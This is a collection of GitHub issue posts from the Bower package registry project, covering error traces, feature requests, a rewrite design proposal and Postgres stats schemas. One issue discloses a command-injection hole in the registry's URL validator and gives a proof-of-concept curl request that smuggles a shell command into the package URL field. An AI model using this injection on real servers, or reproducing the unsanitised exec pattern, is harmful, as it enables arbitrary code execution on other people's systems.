I get this error whenever I try to run registry locally via foreman start or node index.js

00:20:50 web.1  | /home/mrdhat/opt/registry/node_modules/express/lib/router/index.js:291
00:20:50 web.1  |     throw new Error(msg);
00:20:50 web.1  |           ^
00:20:50 web.1  | Error: .get() requires callback functions but got a [object Undefined]
00:20:50 web.1  |     at /home/mrdhat/opt/registry/node_modules/express/lib/router/index.js:291:11
00:20:50 web.1  |     at Array.forEach (native)
00:20:50 web.1  |     at Router.route (/home/mrdhat/opt/registry/node_modules/express/lib/router/index.js:287:13)
00:20:50 web.1  |     at Router.(anonymous function) [as get] (/home/mrdhat/opt/registry/node_modules/express/lib/router/index.js:318:16)
00:20:50 web.1  |     at Function.app.(anonymous function) [as get] (/home/mrdhat/opt/registry/node_modules/express/lib/application.js:412:26)
00:20:50 web.1  |     at Object.<anonymous> (/home/mrdhat/opt/registry/lib/routes/index.js:11:5)
00:20:50 web.1  |     at Module._compile (module.js:456:26)
00:20:50 web.1  |     at Object.Module._extensions..js (module.js:474:10)
00:20:50 web.1  |     at Module.load (module.js:356:32)
00:20:50 web.1  |     at Function.Module._load (module.js:312:12)
00:20:50 web.1  | exited with code 8

Looks like this commit was never deployed: 84beab3

Try the package Keypress: bower search Keypress works, bower search keypress does not.

// @danheberden @satazor

Stumbled upon this thread: https://groups.google.com/forum/#!topic/componentjs/rkCMeRlpnPU

simple idea but I wanted to get some feedback. now that I'm crawling around in npm I'm realizing how much it could gain from optimizing on the server side for dep resolution. I was thinking the client wouldn't ask for a semver version of a package, the client would send the entire dep tree, it gets fully resolved on the server & not a single dupliate in-flight request occurs.

Npm's way of dealing with this isn't as eager so it's not only really complicating client code but wasting network traffic, and from the resolving point of view there's a bunch of hacky non-eager crawling to see if the parent has the dep yet etc. Curious for feedback but I think this would be a lot more elegant

I think that's a really good idea and it might be smart of us to explore it too.

Is there a way to make a local bower.io registry clone?

With the npm registry you can use couchdb and make your own repo, which is useful for getting access to components when there is limited connectivity.

We recently had a camp where we had limited connectivity, and a local npm registry was awesome. Next year we'd like to do that with bower too.

I know I can get access via:

https://bower-component-list.herokuapp.com
https://bower.herokuapp.com/packages

But is there a better way to take a local copy of the repo and host a local server?

We should update DNS so that registry.bower.io is a CNAME pointing to bower.herokuapp.com.

I have already added the domain to the Heroku config, so it should begin working as soon as DNS is sorted out.

@sindresorhus, I believe you are controlling the domain name?

after i install couchdb && registry(node_rewrite)

I first started the CouchDB successfully.

then I run node bin/create-database

it returns with error:

Creating database
-----------------
       Server: http://localhost:5984
     Database: bower
  Design docs: /home/qiaofu/bower/registry/couch-docs
/home/qiaofu/bower/registry/couch-docs/*.json [ '/home/qiaofu/bower/registry/couch-docs/packages.json',
  '/home/qiaofu/bower/registry/couch-docs/users.json' ]

/home/qiaofu/bower/registry/bin/create-database:43
            throw error;
                  ^
Error: connect ECONNREFUSED
    at errnoException (net.js:770:11)
    at Object.afterConnect [as oncomplete] (net.js:761:19)

The following error is noted when trying to access http://sindresorhus.com/bower-components/

XMLHttpRequest cannot load https://bower-component-list.herokuapp.com/. Origin http://sindresorhus.com is not allowed by Access-Control-Allow-Origin.

Hi,

I'm the author of Backgrid.js. Recently I've been told that someone had put Backgrid.js onto Bower's registry without notifying me. Backgrid has no intention to support Bower or any other package manager at the moment and I'd like to have the package removed from the registry.

BTW, there's no package removal process listing on any bower repo readmes. There's not even an API for that, or any mechanism to prevent people from being overzealous and submit packages that shouldn't have been submitted. What gives?

bower/bower#513

I would like to have this repository name changed to just registry.
This would align perfectly with registry-client (currently courier) which is a module that eases interaction with the registry.

Thoughts?

Seems the 'attachment.*' methods are broken.

'TypeError: Cannot read property \'attachment\' of undefined\n    at Object.dbFunctions.get 
(/Users/svenlito/Sites/private/registry/lib/registry.js:13:20)\n    at Object.insert 
(/Users/svenlito/Sites/private/registry/lib/registry.js:130:38)\n    at Archive.save 
(/Users/svenlito/Sites/private/registry/lib/models/Archive.js:52:32)\n    at 
/Users/svenlito/Sites/private/registry/lib/routes/archive.js:50:17\n    at callbacks 
(/Users/svenlito/Sites/private/registry/node_modules/express/lib/router/index.js:161:37)\n    at param 
(/Users/svenlito/Sites/private/registry/node_modules/express/lib/router/index.js:135:11)\n    at param 
(/Users/svenlito/Sites/private/registry/node_modules/express/lib/router/index.js:132:11)\n    at param 
(/Users/svenlito/Sites/private/registry/node_modules/express/lib/router/index.js:132:11)\n    at pass 
(/Users/svenlito/Sites/private/registry/node_modules/express/lib/router/index.js:142:5)\n    at 
Router._dispatch (/Users/svenlito/Sites/private/registry/node_modules/express/lib/router/index.js:170:5)'

There's a lot of duplication in the registry which causes confusion and bloat.

We should only allow unique normalized urls in the registry.

Example: http://sindresorhus.com/bower-components/

Both twitter and bootstrap is registered to the same url. Seen a lot of this with other names too.

Just wondering if there is any active work to understand why node_rewrite is not working in the latest version of node.

I'm interested in using a package manager to foster an ecosystem of plugins for my open source library. The Bower registry already allows me to filter for packages that are named appropriately (e.g. grunt- for Grunt plugins). An additional use case that is not served by project namespacing is versioning. I would like developers to be able to quickly filter out plugins that are incompatible with the version of the library they're using.

If the registry exposed the peerDependency information specified in projects' package.json files, then the registry could be queried much more efficiently. Would this behavior be considered in-scope for Bower?

I want to change the name of two packages, I tryed to publish them with the new name but it says that they are duplicated. I assumed, that the registry checks for the git endpoind to see if its duplicated...

The packages are

angular-platanus-rut   # want to change to  angular-rut
angular-platanus-skip-filter   # want to change to angular-skip-filter

thanks!

I'd like to help and get the next-gen registry out. I reviewed previous discussions, and seems like the team and interested parties still need to norm on a general architecture.

State of the union

• CLI works very well and heavily relied on by tens of thousands of devs and CI environments all over the world (very important to ensure uptime & backward-compatibility)
• Experience for package publishers has room for improvement
• Registry needs more data to be single source of truth (stats, keywords, etc.)
• No user management
• Does not serve binaries
• 3rd party integration relies on embedding CLI
• Multiple server-side services with overlapping functionality
• Light on tests & no CI environment
• No https (bower/bower.github.io#45)

Previous rewrite design doc for reference

Proposed architecture

Note that even though this looks very complicated, it's more of a reorganization of existing parts. Actual work will be focused on building next-gen registry and API. As you review this please keep simplicity in mind.

Drawing link

Decisions to make

• Focus on RESTful API-oritented architecture (yes)

  3rd party tools currently embed the CLI. Does it make sense to build an API that does most of what the CLI can do (namely /package and /search endpoints), and have the CLI be a client that consumes the API? Currently CLI does this already to a certain degree. We can also push some logic to server-side (e.g. #48)

• User management (yes, need to experiment re: 3rd-party service)

  • Necessary? Or continue to use existing method of relying on github tokens (not everyone uses github)
  • If yes, build our own or use 3rd party API like Stormpath or Auth0?

• Why not keep Postgres? (keep)

  RMDBS is decently performant and well-known by potential contributors. Instead of saving the whole bower.json, we can just parse it and insert a row in a db table. For simplicity we can use an ORM like bookshelf. I'm not too familiar with Postgres / MongoDB / CouchDB / ... admin so it's up to the team to pick one and I'll figure it out.

• Why store binaries? (yes, but do it last)

  Major benefits vs. what we do today? Aren't packages always on a repo hosting service like Github? If not maybe publisher can submit a link to a binary (security risk?)? For private packages publisher can provide a key to install.

• Is it premature to worry about scaling now? (yes for now, no action)

• Do we need to worry about ease of replication? (yes, better docs on this subject for now)

• Express vs. Hapi? (@svnlto can you make an argument for this?) (leaning towards hapi, need to experiment)

• CoffeeScript? (no, maybe ES6 + traceur)

  I would like to personally ask the team for blessing on this. I'm most productive writing CoffeeScript, but I understand there may be concern with maintenance and attracting future contributors. There are many high profile OSS projects (like Atom) that use CoffeeScript exclusively. If the team feel strongly against this I'll stick w/ vanilla js.

• Do we still need caching to serve stats? (need to experiment)

  If db of choice is performant enough, I'll just dump/fetch stats straight from of db

Next steps

• Get access, understand current infrastructure
• evaluate pros / cons of hapi & 3rd-party auth service
• db - new tables with stats & 3rd-party data
• db - migrate packages table to include all info from bower.json
• db - scrape github for bower.json data and put in packages table
• CLI - include bower.json in payload, check for consistency (e.g. name, verison, etc.), recommend tags if none
• Break out stats front-end
• adapt stats back-end for ETL service
• Write new endpoints for server, proxy old endpoints
• hook up user service
• simple admin panel for admins / publishers
• test all the things!
• Set up CI (try using github's release hooks for deploy)
• Load testing
• Get a SSL cert
• document API endpoints (use http://docs.bower.apiary.io/ or RAML)
• document replication & running private registry
• Update CLI (need team's help on this)
• Migrate / deploy
• Store / serve binaries (sponsor needed)

Info

New consistent repo / service modules naming convention:
bower-server-api (combines below)
bower-server-registry (this repo)
bower-server-etl (from stats service)
bower-server-stats (from stats service)
bower-server-user

Proper ember package has been set up at https://github.com/components/ember

@wibblymat : Now that we have tests it's time to turn on Travis to get that green build icon. :)

Currently, all users are being stored in the 'bower-registry' database. I'd like to stick to CouchDB's convention of storing users in '_users'.

The registry currently doesn't support multiple DB's right now which is something we should add.

cc @caniszczyk @danheberden

Server should have some custom logic for GitHub to normalize urls to prevent duplicates and return consistent urls.

All these are valid GitHub clone urls:

git://github.com/sakabako/scrollMonitor.git
git://github.com/sakabako/scrollMonitor
https://github.com/sakabako/scrollMonitor.git
https://github.com/sakabako/scrollMonitor
[email protected]:sakabako/scrollMonitor.git
[email protected]:sakabako/scrollMonitor # not sure about this

They should be saved to one format.

Currently the README says nothing about running the registry locally. A bit about setting up the environment, installing DB (postgres I think ?) would be a great help!

I'd like to be able to query the registry according to package tags.

I'm maintaining a JavaScript framework for authoring visualizations. If I could query the registry by tag, I could extend my website with a dynamic listing of all modules that utilize my framework. This would help users discover and re-use code authored by others.

This functionality would go a long way towards #14. Even if bower continues to omit dependency information from search results, I could author a backend process to scrape this information from the packages' git repositories directly. At the moment, though, the simple string search exposed by the registry is too imprecise to depend on for my use case.

lib/validURL.js

module.exports = function(url, cb) {
    var exec = require('child_process').exec;

    exec('git ls-remote ' +  url).on('exit', function(exitCode) {
        cb(exitCode === 0);
    });
};

is a HUGE security vulnerability! It can be easily exploited and ANY package can be inserted. Malicious code can be executed.

Proof of concept

curl http://bower.herokuapp.com/packages -v -F 'name=proofofconcept' -F 'url=git://github.com/jquery/jquery.git; touch "alexanderGugel-sorry-proof-of-concept"'

creates a new file (but can execute ANYTHING). Since touch is the last command being executed, the URL seems to be valid and the package is being inserted properly.

To check if package has be registered:

http://bower.herokuapp.com/packages contains {"name":"proofofconcept","url":"git://github.com/jquery/jquery.git; touch \"alexanderGugel\"","hits":0}

Please correct me if I'm wrong, but this seems to be a big risk, since you could manipulate the registry etc.

As a consumer of the API (i.e. https://bower.herokuapp.com/packages/jquery), I want to be able to access the current version number that is defined in the package definition.

This patch uses git ls-remote to validate git endpoints: #78

However we won't be able to validate private / enterprise packages. E.g. coreComponents, currently in the registry:

> git ls-remote git://github.paypal.com/HotPocket/Settings.git

fatal: unable to connect to github.paypal.com:
github.paypal.com: Name or service not known

I think we need to revert #78, decide whether we will accept private git endpoints, and document this for the community.

cc @patrickkettner

I'm getting the following error when searching with Ruby 1.9.3 on OS X

NoMethodError - undefined method `ilike' for :name:Symbol:

Today,I set up my persional bower registry service with bower/registry:)

I also add a .bowerrc file under my home folder with the content below, So I can use bower CLI with my own service.

{
    "registry":"http://localhost:3333/"
}

But then I met a PROBLEM.

when I run bower register test [email protected]:tbc/share-to-group.git, \ xxx.com here is a fake url, It means some actual url.

it returns

qiaofu ~/Sites/workspace/bowertest $ bower register share-to-group [email protected]:tbc/share-to-group.git
bower share-to-group#*         resolve [email protected]:tbc/share-to-group.git#*
bower share-to-group#*        checkout master
bower share-to-group#*        resolved [email protected]:tbc/share-to-group.git#1f4b78713f
[?] Registering a package will make it installable via the registry (http://localhost:3333), continue? Yes
bower share-to-group          register [email protected]:tbc/share-to-group.git
bower                         EUNKNOWN Unknown error: 401

401,seem to be the authenticated problem.So what Can I do?

By the way,I've read the bower registry API V2

there is not much about the authentication.

Hi - I have some time over the next 2 or 3 weeks. I was wondering if the team is looking for contributions to the registry work. If so, and if there was something that could be sliced off, I'd be happy to devote some time.

feels good man

My team at Yelp would like become familiar with the registry to run it internally. We think a good way to get started would be to add a few tests to the project.

Are there any preferences around what testing library to use? We want to make sure our changes are upsteamable.

It would be nice is the API send back the CORS headers.

When trying to register a package using an https url, Bower fails with a generic error message.

bower register screenfull https://github.com/sindresorhus/screenfull.js.git
bower error Incorrect format

This works fine however:

bower register screenfull git://github.com/sindresorhus/screenfull.js.git
registered screenfull to git://github.com/sindresorhus/screenfull.js.git

Sidenote: The error message is not very descriptive either, at first I thought it was the package

Tried to unregister backbone-lite, a repo I am not a collaborator on. It returned GitHub.com error. Can we provide a better error for this? @jamesreggio

As mentioned at a meeting recently, it would be good to delegate user management to someone else. Github is a logical choice for us.

The API uses OAuth2, and offers a method for checking that a user is a collaborator on a repo - handy for letting people take ownership of current packages when we add auth.

There is a snag though. There are two ways that a user could log in from the command line. The first is that they can give the bower client their github username and password directly. The second involves redirecting the user to the github webpage to finishing authorisation. Neither feels great. Do we have any alternatives, or preferences for which of these we use?

@satazor @benschwarz @svnlto @paulirish @sindresorhus @necolas

Will backup before this is executed. Will not touch the only packages table so no impact to production clients. Please let me know if you have objections.

Note that below tables do not include all the data we want. Next we need to migrate to a more full featured packages table, which should contain the entire bower.json from packages. More on this later.

Table suffixes- not needed due to small number of tables & lack of dimension tables

Todo

-- bower services stats
CREATE TABLE status (
  status_all JSON NOT NULL -- json for flexibility
)
;

-- e.g. 'last_etl_runtime': 'timestamp'

CREATE TABLE stats_packages (
  date         DATE                     NOT NULL,
  package_name TEXT                     NOT NULL,
-- not restricted as foreign key as there could be things tracked that aren't in the registry
  version      TEXT,
  rank         INTEGER,
-- based on installs
  installs     INTEGER                  NOT NULL,
-- integer +- 2.147 billion, if not installs, shouldn't be in this table
  users        INTEGER,
  updated_at   TIMESTAMP WITH TIME ZONE NOT NULL
-- UTC
)
;

CREATE TABLE github (
  bower_package_name TEXT                     NOT NULL,
-- not restricted as foreign key as there could be things tracked that aren't in the registry
  raw_repo_info      JSON                     NOT NULL,
-- e.g. https://api.github.com/repos/bower/bower
  raw_commits        JSON                     NOT NULL,
-- e.g. https://api.github.com/repos/bower/bower/stats/participation
  updated_at         TIMESTAMP WITH TIME ZONE NOT NULL
-- UTC
)
;

-- storing raw json from github api so we don't have to deal w/ github api changes
-- only stores latest stats

CREATE TABLE stats_geo (
  date          DATE                     NOT NULL,
  country_name  TEXT, -- based on GA
  country_iso_2 CHAR(2),
-- ISO 3166-1 alpha-2
  country_iso_3 CHAR(3) PRIMARY KEY      NOT NULL,
-- ISO 3166-1 alpha-3
  users         INTEGER,
  installs      INTEGER                  NOT NULL,
-- if not installs, shouldn't be in this table
  updated_at    TIMESTAMP WITH TIME ZONE NOT NULL
-- UTC
)
;

CREATE TABLE stats_geo_internet_users (
  country_iso_3  CHAR(3) PRIMARY KEY,
  internet_users INTEGER,
  updated_at     TIMESTAMP WITH TIME ZONE NOT NULL
-- UTC
)
;

-- bower users & npm installs
CREATE TABLE stats_overview (
  date                   DATE                     NOT NULL,
  user_type              CHAR(1)                  NOT NULL, -- N for new / E for existing / T for total (npm only)
  users                  INTEGER                  NOT NULL,
  installs               INTEGER                  NOT NULL, -- bower package installs
  installs_npm           INTEGER                  NOT NULL, -- from npm api
  registry_package_count INTEGER                  NOT NULL,
  updated_at             TIMESTAMP WITH TIME ZONE NOT NULL
-- UTC
)
;

CREATE TABLE stats_web_traffic (
  date       DATE                     NOT NULL,
  source     TEXT                     NOT NULL, -- GA GH
  users      INTEGER                  NOT NULL,
  sessions   INTEGER                  NOT NULL,
  updated_at TIMESTAMP WITH TIME ZONE NOT NULL
-- UTC
)
;

Good to go

-- bower CLI environment data
CREATE TABLE stats_env (
  date         DATE                     NOT NULL,
  version_cli  TEXT,
  version_node TEXT,
  os           TEXT,
  users        INTEGER                  NOT NULL,
  updated_at   TIMESTAMP WITH TIME ZONE NOT NULL
  -- UTC
);
COMMENT ON TABLE stats_env IS 'Stats on Bower CLI users'' environment.';

The Postgres schema should be located within bower/registry for those that want to use bower internally.

When the rewrite is done it would be nice to have a Docker image so it's super easy to get set up. A lot of people use Bower inside their companies.

Relevant: https://github.com/terinjokes/docker-npmjs

We should cache GitHub data like stars/etc with packages in the registry so it can be presented in package requests, cli/web search, etc. Could be refreshed once a week.

Also for the rewrite. It would be interesting to have bower search give us the available versions of each package.

bower/bower#518

this pertains to the server rewrite

Performance is a big focus in the server and client rewrite and to achieve this we have help authors to help improve our performance.

A big bottleneck is unnecessary large packages from authors not using the ignore field to ignore unneeded files. With a large test suite, fixtures and other junk, this can make the package considerably larger than needed. We should come up with an heuristic that warns authors when they might have forgotten to do their part.

npm has this problem big time. Almost no one uses .npmignore, which makes all packages larger than they would need to.

We also need to better document the benefit of authors using the ignore key.

• package is already registered #75
• private endpoints aren't accepted in public registry #23 (comment)
• package name doesn't adhere to spec (#92)

I'm very new to the ruby world (trying to setup my first apache / passenger app) and I have everything setup w/ the exception that my sqlite3 database isn't in any way setup.

SQLite3::CantOpenException: unable to open database file (Sequel::DatabaseConnectionError)

If I'm creating a new registry for internal use what do I need to get the database ready to publish my first package and generally use the web app stand alone?

Follow up of: bower/bower#22

Moved from bower/bower#48

Ref: bower/bower#17 (comment)

Like bower search slider would return components with slider in title or keywords.

Search for jQuery or jquery gives very different results.
bower/bower#138

Proposed pulled request https://github.com/twitter/bower-server/pull/6

Hi there

Do you think you could display the version number in the search results as well?

For example when I search for resumablejs here:
http://sindresorhus.com/bower-components/#!/search/resumablejs

No version number shown. Or when I type bower search resumablejs:

$ bower search resumablejs
Search results:

    resumablejs git://github.com/23/resumable.js.git

Would be great. Also will help us with this issue 23/resumable.js#108.

Thanks!

Lookup currently works only with names, and outputs an object with name and url.
This method needs to look also for URLs. See: bower/bower#513

Perhaps implement this on the server rewrite.
//cc @danheberden @svnlto

It would be useful for the community to be able to see the number of downloads for each module in the same way as you can on https://npmjs.org/. This is a simple metric that helps people to see how widely-used a module is, and helps people to choose which modules to try if there's a number of options.

We got signals that it's possible to create packages with not allowed characters:

bower/bower#1190

I confirm this is true. I could create package do+not-touch-me.